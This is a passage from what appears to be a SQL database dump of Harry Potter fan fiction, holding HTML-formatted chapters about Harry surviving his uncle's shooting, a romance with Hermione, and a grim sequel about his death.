done.&#8221;</p>\n\n<p> &#8220;Right,&#8221; Ron agreed as Hermione joined them at the table. &#8220;Hermione, I hope you can give me some more insight on the properties of mandragora. I&#8217;m stuck.&#8221;</p>\n\n<p> &#8220;Mandragora?&#8221; Hermione repeated perplexed. &#8220;Why do you need to know the properties of mandragora?&#8221;</p>\n\n<p> &#8220;Because we have to write a paper on it for Herbology, that&#8217;s why.&#8221; Ron said in exasperation.</p>\n\n<p> &#8220;We do?&#8221; Hermione thought hard about this but still came up blank. &#8220;I don&#8217;t remember that.&#8221;</p>\n\n<p> Harry stared at her in awe. &#8220;How could you forget? We only spent the whole class shoving mandrakes into pots.&#8221;</p>\n\n<p> &#8220;Uh&#8230;&#8221; Hermione thought harder and somewhere in the back of her head, she knew Harry was right, she just couldn&#8217;t seem to pull up the image of the actual event. &#8220;I must be tired. I&#8217;m going to have a lie down before dinner.&#8221; She headed towards the girls dormitory.</p>\n\n<p> &#8220;Hey wait,&#8221; Ron called after her. &#8220;What about this paper? I swear that girl is going to blow a fuse if she keeps studying as hard as she does,&#8221; was the last thing Hermione heard him say to Harry before she ascended the stairs to her room.</p> '),
	(242, 1, '\n\n<p>&#8220;Sometimes the only things worth saying,</p>\n<p>Can&#8217;t be said at all,</p>\n<p>And sometimes the things that are the most urgent,</p>\n<p>Are best to be drawn out.</p>\n<p>One of these things,</p>\n<p>Is love&#8230;&#8221;</p>\n\n<p>I own nothing, I claim nothing. For now... Things in this story you don\'t recognize either I came up with, or were inspired by other work and changed them to my imagination. For all I know, it could be your work, so I thank all the people who helped me unknowingly write this. Anyway, on with the story. And please read the A/N at the end. Thanks.</p>\n\n<p>Chapter 1</p>\n\n<p>Harry Potter fond himself staring down the barrel of an old &#8220;six-shooter&#8221; revolver. The dark cavity in the long cylinder seemed to emulate the way his life had been, the way it had felt to him growing up. Dark and empty. It also seemed to copy the deep shadows that danced on the walls at night  in that cabinet under the stairs which he had found as his home for eleven years.</p>\n\n<p>Harry would have laughed had his life not been about to end. The two revelations he had at that moment were odd. The first was the fact that, through it all, he had thought of that dark, dank closet under the stairs as his home. Every time Dudley&#8217;s large mass would find its way down the stairs, he would see the shadows before him contort into new images, images of his parents, his friends, all before he knew about any of them. </p>\n\n<p>Now Harry didn&#8217;t much believe in divination, or at least the crap Trelawney passed as divination, but he knew what he saw and felt all those years ago.</p>\n\n<p>The second thought Harry had was, &#8220;it sure is odd how everything smart you ever had to say only comes to your mind right before you die.&#8221;</p>\n\n<p>And as those words played themselves in his eyes, he muttered what he believed to be his last words, and if Ron could have been there, he would have laughed his head off.</p>\n\n<p>&#8220;Fucking Crazy Muggles.&#8221; And with that the revolver went off in an explosive blast and Harry&#8217;s head whipped back from the blast. As his body fell, there was a faint golden glow from his scar which burst out and lit up the area, then the room, and finally the house until the light was pouring from every opening in the house until it was a beacon that people who saw it thought could be seen from space. </p>\n\n<p>The light was accompanied by a deafening silence that seemed to make it so that anyone that actually tried to talk, their voice seemed to just stop.</p>\n\n<p>The golden light surrounded Privet Drive for quite some time, about five minutes, and as the light winked out of existence, Harry Potter was on the ground, blood pouring out of his forehead. Harry Potter, by all appearances was dead, murdered by his uncle. </p>\n\n<p>However, there were a few discrepancies in this fact. Had anyone paid any attention, they would have found that the blood was coming from not a bullet wound, but from a jagged scar on his forehead. </p>\n\n<p>For had anyone paid any attention and been watching in the light, they would have found that the bullet had halted as the golden light came out from the scar. </p>\n\n<p>And had anyone been paying attention, they would have found the simple fact that, floating in the blood that poured from his forehead was the small metal object looking as though it had been smashed by a sledgehammer.</p>\n\n<p>Vernon Dursley dusted his hands quickly and then observed the blood beginning to seep into his expensive carpet, he called out to Harry from upstairs to clean it up. After several calls, he looked to the boy, remembering what he had just done and sighed. And as he turned, he began to wonder what he was going to do.</p>\n\n<p>Miles and miles away, Albus Dumbledore set down his half moon spectacles and sighed. He rubbed his eyes, and tried to block the looks of pure elation and unknowing from his face as the staff sat or stood watching him.</p>\n<p>&#8220;It had begun.&#8221;</p>\n\n<p>Many more miles away from that location, Lord Voldemort fell to his knees, his wand clattering to the ground cutting off the Cruciatus link he had used upon the innocent muggle. Even from there, the pure gold glow from Privet Drive in Surrey was visible. He looked in pure agony, something that Wormtail himself had never seen his master. </p>\n\n<p>Doubt and fear crossed his eyes as he saw his master for the first time truly seem human. His body began to shake and his eyes seemed to flash and suddenly his body seemed to sent out a bright red glow. And as the sky became assaulted with the shining Gryffindor colors, Peter Pettigrew, AKA Wormtail, felt something that he hadn&#8217;t felt in a long time. Regret. He knew no real Gryffindor would have done what he did all those years ago. He vowed to make it right.</p>\n\n<p>************************************************************************</p>\n\n<p>Sirius lack approached number 4 Privet Drive calmly, but nervously adjusting the jacket to the suit he wore. He sighed as he basked in the remaining sunlight, a thing he had missed for all of those years in Azkaban. With those thoughts he smiled as he walked to the door to escort his godson from his muggle home to his personal trial. They had not caught the traitor called Peter Pettigrew, but instead found a way around it. Harry.</p>\n\n<p>You see, it seemed that there was a new law passed just recently, and the use of a penseive and therefore someone\'s memories as key witnesses is now allowed in Wizard Court. Because of this, enough memories were taken from Harry at the end of the Third Task when he was asleep to clear Sirius\' name and the trial was just a formality.</p>\n\n<p>Sirius approached the Dursley household and knocked on the door. The door opened on the bright morning and he found the large whale of a man Vernon answering the door. Sirius did his best to smile and sound polite despite knowing how this man had treated his Harry.</p>\n\n<p>&quot;Vernon Dursley, I presume.&quot;</p>\n\n<p>&quot;Yes. How may I help you?&quot;</p>\n\n<p>&quot;I have come for Harry Potter.&quot; Slam. The door closed abruptly in Sirius\' face. His icy blue eyes turned cold and he muttered &quot;to hell with muggles.&quot; and with that the door exploded open.</p>\n\n<p>&quot;Where is he?&quot; Sirius\' angry voice asked. He was beyond polite, and was downright frightening, which might have been a factor in why the large blob with blonde hair used its chubby hands to cover its obese backside.</p>\n\n<p>Sirius\' eyes scanned the deep earth-toned room. Thr room was full of deep browns and tans from all of the new wood furnishings, and was well decorated. However, one thing stood out. On the floor in front of the stairs lay a bright purple bathroom rug. Sirius knew that they wouldn\'t have it here unless for a good reason, and he went over to it. Fear flashed Vernon\'s eyes as Sirius neared it, and this alarmed Sirius. Suddenly he smelled something. He knew the smell very well and it bother him. He smelled blood. He rushed past the mat, but slipped on it to reveal a patch of blood. </p>\n\n<p>Sirius ran to the door to the cupboard that was under the stairs of the house and grabbed the lock. he was in such a rage that he ripped the door full off the hinges and found a sight that almost made him cry. Harry Potter, savior to the Wizarding world, and the greatest person he himself had ever met, lay dead in a pool of his own blood.</p>\n\n<p>Sirius turned, thoughts rushing through his mind as he fingered his wand and though of whether they would put him on level two or three of Azkaban after he killed Vernon. However, he stopped when he heard something.</p>\n\n<p>&quot;Sirius...Sirius, wha- what are you doing here. You\'ll be caught and kissed.&quot; Harry\'s labored breathing cut off as was everything else he would have said. Dudley would have laughed at the thought of a kiss being a bad thing, but he didn\'t dare with the hateful look in the man\'s eyes before him.</p>\n\n<p>With that Sirius turned back to the cupboard and lifted Harry up slowly and carried him out of the house, not giving a back glance as he rushed to the outside of the apparation wards to get Harry to Hogwarts.</p>\n\n<p>************************************************************************</p>\n\n<p>After a little while in the Hospital Wing, Harry awoke to immediately be brought to the Headmaster\'s office.</p>\n\n<p>&#8220;Harry, what happened last night was not a good thing. Your uncle attempted to murder you. I have no idea what happened, but all I know is that it was powerful ancient magic, and it was so powerful that Voldemort was put in great pain, and somehow the link your scar bore to him has been cut off.&#8221;</p>\n\n<p>&#8220;Okay&#8230;&#8221; Harry was confused by what was the importance of this except that now he could not tell where Voldemort was going to attack, which was bad. However, the Headmaster had other things to say.</p>\n\n<p>&#8220;Also, the light side has found some odd information. It seems, that, just as you gained some of Voldemort when he tried to kill you, when he took some of your blood, he also took some of you.&#8221;</p>\n\n<p>&#8220;Yeah, my mother&#8217;s protection on me.&#8221;</p>\n\n<p>&#8220;Harry, not just that. It seems because of your blood, and coupled with whatever ancient magic happened last night, he seems to have gotten, well, a conscience.&#8221;</p>\n\n<p>Harry looked shocked. That was strange. Harry got Parseltongue and the possibility to be put in Slytherin, while Voldemort got his mother&#8217;s protection and a conscience. Seemed fair enough, he figured.</p>\n\n<p>&#8220;But anyways Harry, I do not believe it is safe for you here, and I apologize for not moving you sooner. I&#8217;m sorry, but the Burrow is not a possibility, it may put other Wizarding families in danger. </p>\n<p>There are magical ways of tracking people when they are in the magical world, and if you stay out of it, then people will not be able to find you if they wish to harm you.&#8221; Harry nodded. It made sense to him.</p>\n\n<p>&#8220;So because of this, you will be staying with Hermione&#8217; family. They have agreed to take care of you for the rest of the holidays, and longer if you feel you\'d like to stay or longer. I will personally escort you there in about 5 minutes. I do suggest you gather your things from the Hospital Wing.&#8221; </p>\n\n<p>Harry was in such a state of shock about staying with Hermione that he was there before he realized. Hid hand subconsciously rubbed the spot were she had kissed him at the end of that school year. </p>\n\n<p>As Harry went out of the office and came into the Hospital Wing, he passed by a mirror. He stopped and walked back and looked at himself again. He remembered himself well from last year, and the person he was now looking at looked like him, but oddly like someone else.</p>\n\n<p>His hair lay flat, pressed against the bottom of his neck. Harry had never realized how long his hair was because he always had the &quot;struck-by-lightning&quot; look when it came to hair.</p>\n\n<p>His eyes shown brightly with a golden color, and as Harry looked closer, he saw something he was sure hadn\'t been there before. The border to the coloring of his eyes, between the emerald irises and the whites of the cornea, there was a distinct golden ring. Suddenly Harry realized something. He had no glasses on. He wondered about this as he sat looking calmly at himself.</p>\n\n<p>Harry straightened up and began to walk back to the hospital wing. As he got there, he found that Dumbledore was sitting in a chair awaiting him.</p>\n\n<p>&quot;You seemed to be noticing some changes, so I decided to leave you. Your questions will be answered, or will simply become clear to you. right now, however, we must go.&quot; And with that said Harry reached for his trunk and Hedwig\'s empty cage with one hand, and then for the book on the desk with the other, and with the tugging near his navel, he was gone in a spin of coloring.</p>\n\n<p>************************************************************************</p>\n\n<p>As he stepped foot into Hermione&#8217;s house, she rushed him and hugged him. He smiled brightly to her as she latched a hold of him, her smile lighting the room. As he stepped back from their oddly long hug, he looked at her. Her hair was laying flat on her head, and her body was free of the robes they had to wear all school year. he looked her up and down and saw that indeed Hermione had changed from the little girl in their first year.</p>\n\n<p>The low-rise jeans she wore clung to hips he was never aware she had, and the curves they showed off made his mind began to think about his best friend in a way he wasn\'t sure he liked, but was sure he didn\'t hate. One thing was sure. This would be an interesting summer.</p>\n\n<p>Harry whistled long and slow as he looked at her from her sparkling cinnamon-colored eyes, to her tight white T-shirt to those oh-so-tight jeans, and back up again, smirking at her as she looked at him look at her.</p>\n\n<p>&quot;Damn \'Mione. Lookin\' good.&quot; And with that he walked slowly by her into the foyer of the house. Hermione looked back at him in shock, and Harry was wondering about this new attitude of confidence he had never had.</p>\n\n<p>\'You\'ve always had it, just been too afraid to show it. You wanted people to think of you how they always had, as a hero, instead of just another kid, even if you were doing it without knowing\' a voice told him, which he figured was his conscience.</p>\n\n<p>Hermione went and stood by Harry awaiting her parents arrival from the second floor of the three-story house. As she looked to him, Hermione saw that she was looking up to him substantially. She realized that although this wasn&#8217;t too big of a thing, considering she was about 5&#8217; 2&#8221;, but by the looks of it, he was bordering 5&#8217; 8&#8221;, and she was sure when he had gotten off the train he was about 5&#8217; 5&#8221; at most. </p>\n\n<p>Harry himself had caught this and figured that it was mostly because of the feelings from last year and the mental weight on his shoulders, he had taken physical weight on his shoulders and had been slumping down all that time.</p>\n\n<p>As Mr. and Mrs. Granger descended the stairs, Hermione watched Harry. He was smiling and immediately went over to meet them. Sure Harry was a nice boy and all, but he had never been this forward, and had never seemed so, un-Harry. she liked it. Yes, she decided, she liked it very much.</p>\n\n<p>&quot;So you two are the wonderful people responsible for creating this beautiful girl I have had the pleasure of knowing.&quot; Hermione blushed deeply and she caught her mother giving her a look. &quot;Nice to meet you, Harry James Potter\'s the name.&quot; Harry stuck out his hand to Mr. Granger.</p>\n\n<p>&quot;Nice to meet you as well Harry. Name\'s Jack Granger.&quot;</p>\n\n<p>&quot;Nice to meet you Mr. Granger, or is it Doctor-&quot; Harry was cut off.</p>\n\n<p>&quot;Just call me Jack.&quot;</p>\n\n<p>&quot;And I am Elizabeth Granger. You can call me Liz, or Liza, or whatever you want dear. We&#8217;ll show you your room now.&quot;</p>\n\n<p>Harry followed them up the stairs, lifting his truck easily. Hermione looked at him in confusion as she had just seconds ago tried to drag it to the stairs and had almost pulled out her arm.</p>\n\n<p>As they neared the top of the stairs, there was the sound of feet and suddenly a girl about 16 stood before Harry, flanked by a few other girls. The one in the front, the first girl Harry saw, had curly brown hair and Harry saw some distinct features he recognized. Then the girl spoke.</p>\n\n<p>&quot;Daphne Marie Granger. And who are you?&quot; She asked, her friends giggling lightly.</p>\n\n<p>&quot;I\'m Harry Potter. Hermione never told me about you.&quot;</p>\n\n<p>&quot;I figured as much. Well, I am her sister. She doesn\'t talk about me much because we don\'t have too much in common. Well, it\'ll be nice seein\' you while you\'re here, and I hope we get to hang out some if my little baby sister doesn\'t hog all the fun.&quot; The girl walked by as she said the last sentence, dragging her finger across Harry\'s chest and lightly growling seductively, and then winking to Hermione as she passed her, her friends behind her still giggling.</p>\n\n<p>&quot;This is gonna be a looooong summer,&quot; both Hermione and Harry said together as they entered their rooms, which were right across from each other, closed the doors together and sank to their beds to rest, both thinking of the other as they drifted off to sleep.</p>\n\n<p>******************************************************************</p>\n\n<p>(A/N: Alright, there\'s the first chapter. The story will pick up a lot, I promise, and the second we get into the school year, it gets a lot better. </p>\n\n<p>The rating may go up as the language and fight scenes do, but for now we\'ll stick to what it is. Review please, I need suggestions. Just state anything you wanna say. Thanks and sorry for the long disclaimer and A/N, they\'ll get short.)</p>\n\n'),
	(242, 2, '\n\n<p>I own nothing, I claim nothing. For now... Things in this story you don\'t recognize either I came up with, or were inspired by other work and changed them to my imagination. For all I know, it could be your work, so I thank all the people who helped me unknowingly write this.</p>\n\n<p>*******************************************************************************</p>\n\n<p>Hermione sat in the chair calmly listening to what Sirius was telling her. He was telling her softly about what he had collected about Harry\'s life, about what he had seen in the penseive, memories he hadn\'t meant to look at, but was glad he had. Across from him, Hermione looked between rage and tears as she spoke softly.</p>\n\n<p>&quot;So they kept him locked in that tiny cabinet?&quot; Sirius nodded. &quot;And they didn\'t feed him? Tell him about his parents? Tell him anything?&quot; Sirius looked on the verge of tears as well, as he shook his head softly. </p>\n\n<p>Sirius proceeded to fill Hermione in on the most recent events, the girl eventually breaking down and crying softly. However, this went unnoticed as Sirius stood up quickly. His eyes darted around the room, and he seemed to be listening for something.</p>\n\n<p>&quot;Harry.&quot; And with this both of them bolted from Hermione\'s room to the room directly across from it, Harry\'s room.</p>\n\n<p>Sirius flung the door open and Hermione saw it. Harry was laying across his bed, his body looking as if it was being shocked by the paddles in the hospital, his chest rising off the bed and his back arching, his mouth open in a silent scream. However, this wasn\'t what was the most shocking thing, or the thing that had lead Sirius here. It was the blood falling down Harry\'s face, and his eyes open in complete horror. The only thing wrong here was the fact that the eyes that looked to them as they came in the room weren\'t Harry\'s, or at least they weren\'t the eyes they knew.</p>\n\n<p>For Harry Potter lay on the bed, his eyes and the rest of his body glowing golden.</p>\n\n<p>******************************************************************************</p>\n<p>(A/N: No, don\'t worry, his eyes will not stay gold, but this factor will be important in the near future.)</p>\n<p>******************************************************************************</p>\n\n<p>Moments before this, Albus Dumbledore was seated in the living room giving the Grangers some background information on Harry, and basically filling them in on the most recent details with added explanation. However, Albus stopped as words were about to leave his mouth as he felt something, a pang in the pit of his stomach. He rose quickly and suddenly there was a bright light coming down the stairs like elegant smoke. It filled everything around it with the soft glow and everything it touched it fixed. </p>\n\n<p>The broken stair, fixed. The chipped antique table, fixed. Crookshanks\' sprained paw, fixed. And as the light finally filled the room, it flashed in bright color just as the clocks in the house beeped at the time, twelve in the morning on a new day. The day of July 31.</p>\n\n<p>Albus Dumbledore sighed heavily and sat back down on the couch. His eyes twinkled brightly suddenly and he reached into his robes and pulled out a small bag filled with red and white disks. &quot;peppermint?&quot; holding the bag out and offering some to the shocked and stunned Grangers.</p>\n\n<p>******************************************************************************</p>\n\n<p>Harry\'s room was left and he was allowed to sleep, but later through the night Hermione snuck in softly and began to clean the blood from Harry\'s head and face. The warm cloth in her hand pressed lightly and withdrew from his head, and soon Hermione found herself singing to no one in particular. She didn\'t know what song it was, but she strongly suspected that it was an old lullaby her mother had sang to her as a child.</p>\n\n<p>As she finished, she looked down at her friend, the one who had saved her life on more than one occasion, the one she respected beyond anything else that she knew of. The one she cared for more than she should have.</p>\n\n<p>&quot;Get a hold of yourself Granger, damn. He\'s your best friend for God\'s sake.&quot; She said to herself and then looked down to his sleeping form again. She leaned down a kissed his scar lightly, brushing his hair away from his face. As she did, her hand came across the jagged scar and she sighed, thinking how something so simple could be so complicated.</p>\n\n<p>And with that though she stood and walked out of the room. Had she stayed a bit longer, she would have seen his eyes open slightly and a small smile creep across his face before they closed once more.</p>\n\n<p>******************************************************************************</p>\n\n<p>The next morning Harry awoke to find that Dumbledore and Sirius had had to go while he slept, so now it was just him, Hermione, Daphne, and the parents. he sighed as he sat up and trudged down the stairs. Despite the fact that he had just remembered all of these facts, and had been told about his godfather and headmaster\'s leave in a note by his bed, he forgot to remember he wasn\'t at Privet drive anymore. Which might have been why him walking downstairs in a pair of basketball shorts that were much too large and nothing else caused quite a stir.</p>\n\n<p>Hermione had been reading the Prophet and sipping tea while Daphne had been putting on lip gloss, using her spoon as a mirror. As Harry walked down the stairs yawning softly, his black hair hanging  just above his shoulders and his eyes partially closed, Hermione\'s tea ended up the front page news as it came out of her mouth as she looked at Harry in shock. </p>\n\n<p>Daphne had since made a solid line of lip gloss straight across her face and the sparkling pink trail wasn\'t ending there as it curved down and began a descent to her neck as her hand kept moving as she watched him.</p>\n\n<p>Harry seemed not in the least bit embarrasses as he walked into the kitchen and began to cook the food he had found in the refrigerator. Because of how the kitchen was set up, there was a gap that opened up right before the stove so you could look out of the kitchen, and right at the table where the two girls were sitting.</p>\n\n<p>Hermione was watching him, wondering why he hadn\'t seemed like this just the year before. He had some muscle, and his abs were well defined. His facial features were sharp, and his eyes seemed to slant just a little to give you the sense that someone in Harry\'s family wasn\'t originally from England, or even Europe. Probably from Asia. Daphne however was giving him an appraising look as she tried to get the lip gloss off of her skin and still not look away from him.</p>\n\n<p>Hermione was so caught up in this that she had forgotten to stop Harry, and he soon came out of the kitchen with two plates, each holding 2 slices of French toast and some eggs, along with 2 pieces of bacon each. He set the plates down in front of the girls and was going in to retrieve the orange juices when Hermione snapped out of it. She followed him into the kitchen and stopped him.</p>\n\n<p>&quot;Harry, you shouldn\'t have done that.&quot; Harry\'s smiling face suddenly looked solemn and grim.</p>\n\n<p>&quot;I know. I\'ll be sure to pay your parents back for the things I used. I\'m sorry-&quot; Hermione looked in complete shock. So the Dursley\' obviously made him feel as though everything was his fault.</p>\n\n<p>&quot;It\'s not that its just that, well, we should have been cooking for you seeing as how its your birthday and all...&quot; Harry\'s face looked suddenly in shock.</p>\n\n<p>&quot;Really? I didn\'t realize. I couldn\'t make my calendar this year because of everything that happened. Wow, I didn\'t know...&quot; Hermione looked shocked and then grabbed his arm and physically drug him from the kitchen. She pushed him down in the chair she had been sitting in and pointed to the food he had brought her.</p>\n\n<p>&quot;Eat.&quot;</p>\n\n<p>&quot;But it\'s yours. I made it for-&quot;</p>\n\n<p>&quot;No Harry, eat. And once you\'re done we are out fo here. Daphne agreed to take up to the mall so I can give you your gift. So hurry up.&quot; Harry was going to protest more and then he saw the I-Will-Not-Lose-This-Argument look she got with Ron every time they argued and he sighed and began to eat. All this time, unbeknownst to either of them Daphne stood at the door, smirking to herself and she turned and walked out.</p>\n\n<p>******************************************************************************</p>\n\n<p>As they entered the mall, Harry looked around in awe. The Dursleys had never let him go to anyplace remotely this large outside of the zoo that one time, and all of the shops and interesting this were captivating him. Suddenly he looked in though a window and gasped as he saw all the wonderful things within the electronics store. Hermione eventually grabbed him and forcefully drug him to a clothing store at the end of the 1st section of the mall.</p>\n\n<p>Harry looked around in confusion but eventually smiled as she lead him to the men\'s section. However, she made a turn to the register and spoke to a woman. Soon they were taking measurements of him, and he was loaded with piles of clothing and sent into a small room. Had it nor been for the cupboard under the stairs all those years, he might have been claustrophobic, but he was soon fine as he dressed. However as he heard her order for him to come out, he was nervous.</p>\n\n<p>However, that changed as he saw the look on Hermione\'s, Daphne\'s and the register girl, Kamille\'s face. They all looked shocked and Daphne had a smirk on her face that was making Harry uneasy. She was smiling a bit seductively, or was that just his eyes?</p>\n\n<p>Harry was shown a mirror and he blinked a few times as he looked at himself. He was wearing nice fitting black jeans, not too tight and not too baggy, with a white long-sleeved t-shirt on under a black short-sleeved t-shirt with a logo of some sorts on the front. The black and white made his eyes stand out a lot more, and they seemed to glow, and Harry thought it was funny how something so simple seemed to change so much.</p>\n\n<p>After more time of him trying on clothes he liked, Harry eventually got Hermione to try some on, more so he could rest than for her.</p>\n\n<p>She came out first in casual clothes, but seemed to greatly favor the low-rising jeans that seemed to mold to her hips. This was good enough for Harry, but when she tried on the formalwear, or more specifically a certain black dress, it was too much for him.</p>\n\n<p>She came out in a black dress. It had thin straps holding it to her shoulders and it had almost no back to it, the material eventually coming together right at the small of her back. There were rounded gaps on the sides showing the sides of her waist and the beginning of her hips. The dress ended midway down her calves and the sparkles on the dress shone in the light of the store.</p>\n\n<p>Harry stared. He was speechless and began to hyperventilate. He looked to her, his mouth hanging open and his head falling to the side lightly. Hermione watched him as he tried to regain composure and a bit of his pride and not look at her, as every time he did, he stared again. However, eventually he got his voice just as she was heading back into the room. He obviously though he hadn\'t heard him, but she had as he finally spoke.</p>\n\n<p>&quot;God-damn. If she doesn\'t want to get the thing, I\'ll pay for it, I don\'t care how much it costs, give her the damn dress.&quot; And with that and a bright smile to herself, Hermione went to change.</p>\n\n<p>******************************************************************************</p>\n\n<p>Hermione ended up buying several things for herself and him, and found that the dress had &quot;mysteriously&quot; been paid for, and she wondered where Harry got the money for it. At least the muggle money.</p>\n\n<p>As they walked from the store, Harry had to make a turn down a corridor to get to the bathrooms. Hermione stood in the narrow passageway, Daphne going into a store devoted entirely to make-up.</p>\n\n<p>As Hermione waited, a group of guys walked by, eyeing her. It made her shift uncomfortably, and she became worried as they stopped and approached her. The large guy that looked to be the leader smiled and walked right up to her, invading her personal space and spoke to her with breath that smelled nastily of cheap beer and garlic.</p>\n\n<p>&quot;Hey baby. A girl like you shouldn\'t be here all alone. Why don\'t you come with us. we\'ll have a little...fun.&quot; Hermione wanted to scream, and as she thought about it, the other guys stood in a casual way, blocking off the entrance to the corridor they were in from the sight of onlookers.</p>\n\n<p>Hermione pushed against him as he ran his finger over her stomach. She ran down the corridor, hoping for the exit at the end of the corridor just past the boy\'s bathroom. She neared it but the guy that had been after her grabbed her shirt and pulled her back. Her shirt tore and she let out a screech. She was too far back in the corridor for it to alarm anyone passing by, and she began to cry. </p>\n\n<p>Her vision blurred as she wondered who would save her. Suddenly her answer came as the bathroom door swung open and Harry walked out. He took one look at her and the man before her and she could feel the anger coming off of him.</p>\n\n<p>&quot;Let. Her. Go.&quot; Harry said softly, anger ripping through him. The man holding Hermione tried not to laugh and stood to his full height. The man was about 6 feet tall, while Harry was only about 5\' 8&quot;, but Hermione never saw Harry look so tall. His eyes glared through the man and then it was over very quickly.</p>\n\n<p>The man had reached to punch Harry and Harry had grabbed his arm. He spun 180 degrees and into the man, his back to the man\'s front, and there was an evident CRACK! as the man\'s arm broke. Then Harry elbowed him in the middle and stepped forward and away from the man. Then he kicked back with his leg perfectly straight and he kicked the man back about 5 feet through the air and he slid down the corridor some. His friends rushed to him and gathered him up, and then looked to Harry, but seemed to think twice and ran from the area.</p>\n\n<p>Harry knelt down to Hermione and wiped the tears from her face, smiling some and whispering softly to her. She looked into his eyes and found that they were once again gold. But before her eyes the gold seemed to become electricity over his eyes and seemed to play in reverse of striking his pupils and receded to the light ring around his irises.</p>\n\n<p>High-heel clicking was heard an Daphne was back, fear playing on her face. By all appearances, this scene did not look good, and she helped her sister up. Suddenly Harry pulled his baggy hockey jersey off and handed it to Hermione to put on over her ruined shirt. She looked to him as he smiled at her, readjusting his white t-shirt. Suddenly Hermione became aware of something black in his hand. She pointed and he smiled.</p>\n\n<p>&#8220;There was a reason for me using that move. I picked his pocket.&quot; Harry said and opened the wallet to find a great deal of money and no ID. Harry had no qualms about keeping the money for himself and Hermione, and for once Hermione didn\'t lecture him, instead she smiled and hugged him, and with his arm around her shoulders and Daphne smiling behind them, they left the mall.</p>\n\n<p>******************************************************************************</p>\n\n<p>Upon opening the door to the Granger\'s house, there was a shout of SURPRISE! and all of his friends jumped out at  him. He smiled brightly and laughed lightly as they all ran over to him. Upon seeing Hermione still close to him, wearing his shirt, and the remains of her shirt in her hand, everyone began asking questions, from a Death Eater attack to a naughty tryst on the way back, ideas began to fly. However, these died down as everyone tried to get Harry to open their gifts.</p>\n\n<p>After gift-time died down and the cake was served and eaten, the party began to die down, but all the while several people noticed that Hermione hadn\'t left Harry\'s side for the entire time, and Harry didn\'t seem to mind at all. It also seemed that Hermione wasn\'t in the mood for talking too much, and she only spoke and had a full conversation with Harry. Because of this, a few people in the party were getting suspicious, while others jealous. One of the jealous ones happened to be Ron. He approached them as Harry went to take everything he got up to his room, Hermione following, running in, changing shirts and then sitting on his bed while he found places for things.</p>\n\n<p>Harry had just sat down when Hermione fell into his arms and cried to him, telling him everything that had happened before he had saved her. Then how she felt. </p>\n\n<p>Harry hugged her and tried to comfort her, and rubbed her back. Slowly her head pulled back from his and they looked into each other\'s eyes and soon they were kissing, and in between the kisses explaining how long they had felt for each other, Hermione and Harry both describing the time they knew was in 3rd year with Buckbeak, and it had grown strong when Harry and Ron had their falling out last year.</p>\n\n<p>Soon Harry decided the crying was too much and soon began to tickle her, and she was soon laying back, begging for him to stop. It was at that moment that Ron walked over to the door, and caught sight of Harry lightly straddling Hermione\'s stomach, lowering her face to her\'s, her eyes closed and her muttering &quot;stop&quot; with what Ron thought was a pained expression on her face, but was really restrained laughter as he continued to tickle her.</p>\n\n<p>As his lips met hers, Harry soon met the floor and his jaw soon met Ron\'s fist, and despite him now being physically able to take it, he watched as Ron picked up one of the Beater\'s clubs from Harry\'s birthday set of Quidditch balls and he thought to himself as Ron swung the hard club at his head,</p>\n\n<p>&quot;You know, birthdays really suck...&quot;</p>\n\n<p>******************************************************************************</p>\n\n<p>(A/N: Stay tuned for the next chapter. Look, know I know that the &quot;coming together&quot; thing was kind of sorry for Harry and Hermione, but I swear, the story and the action picks up a lot. Please review and thanks to everyone who reviewed</p>\n\n<p>I swear on my life Daphne is no Mary Sue, nor will she be. It try to steer clear of making those, because they tend to complicate the story later on, I mean, who can\'t love a perfect girl? No one. So she\'s not perfect if not just for the fact of keeping Harry the hell away from her.)</p>\n\n'),
	(243, 1, 'Never Let You Go<br><br>Authors Note- I\'m glad everyone liked the first \none, and the sequel is just to try, I\'ll take it down if it\'s a flop. But give \nit a chapter or two to get going. There are a lot of surprises, you\'ll just have \nto wait and see. For the record, this is after the following summer and into the \nnext school year. Hermione and Ron graduated and are back working at \nHogwarts.<br>Default Chapter<br>The hard end of the eagle feathered quill glided \nalong the parchment paper without leaving a single mark. Hermione, or Professor \nGranger to anyone in the room, wanted it to be that way. She wanted the quill to \nbe empty, because that\'s exactly how she felt. Empty. Empty to the core of her \nbones. It felt like an eternity, when really it was only a few \nmonths.<br><br>The second he died, that very heartbeat, she couldn\'t stand being \nthere. Leaving Ginny Weasley and the once Harry Potter on the roof, Hermione had \nto get away. Far away. Anywhere that wasn\'t Hogwarts. But on the other side of \nthose castle doors, was Professor Dumbledore. He had returned immediately upon \nrealizing that three students were missing.<br><br>She spent the next day in the \nhospital wing, Ginny was brought in a few hours after, still shaken. Not \nsurprised, she spilled every detail first chance she got. To be honest, the only \nthing she left out was her attempted seduction in the bath, and Harry\'s dying \nwords being \' I love you\'. When Hermione was questioned she admitted nothing \nmore than wanting to help. And she was never going to say she failed, in a way, \nthat was the truth. He could have been saved, he could have been protected, \nmaybe that\'s not what he wanted. Afterwards, Hermione was not to be permitted \ninto the hospital wing for a few weeks, not like she cared.<br><br>In present \nday, all the rumors of that night emerged and spread like wild fire, always \ntaking on something new by each person. The boy who lived was now the boy who \nlost it. One was actually that a clone Harry killed the real one, then Colin and \nNeville. Hermione was quick to distribute detention to the slightest joke. One \nstudent was expelled for running into the Transfiguration classroom with a \npocketknife. It was her classroom, that very same room as.<br><br>Nights were \nespecially hard on her, not one went by without seeing him. If she closed her \neyes, there he was smiling at her. And he was fine, just perfect. But the one\'s \nthat scared her the mist, she knew she was awake. He was laying right next to \nher, literally, she could feel him. His soft hair, his warm skin, right there in \nher arms. But by the time she sat up, it was all gone. Still, she\'d never let \ngo. Somewhere, in some way, he was alive. She just didn\'t know where.<br>The \nquill continued it\'s journey across the parchment, that\'s not how Hermione saw \nit. Instead it was a knife, enclosed in Ginny\'s hand. She stabbed him, there was \nvery little to it. He told her, Harry told Ginny to kill him. He didn\'t want to, \nthe extreme guilt in his conscience. Two wrong don\'t make a right, no matter how \nwrong it may be. Harry was insane, Hermione admitted that (Ginny did so once, \nvery briefly) it\'s what turned him to murder, something he couldn\'t control. He \nwas the one who said in the option to turn back that his body went forward. \nOverall, he did it for her. He took two innocent lives out of a jealous rage of \nlove. It only added to the heartbreak.<br>In her lack of attention, Hermione \nknocked over her bottle of ink. She didn\'t see the ink ooze across her parchment \nsheets, she saw blood. Harry\'s blood. It covered her hands the night he died, \nthe rain didn\'t wash it away. Neither did Hermione. The red color stained her \nskin for a month. Call it crazy she wouldn\'t care.<br><br>There was a certain \nlimit Hermione could take each day, the ink seemed to break it just then. Her \nstudents were copying notes from the blackboard (some days, she couldn\'t find \nthe will to speak) they didn\'t notice her rapid departure. The Charms classroom 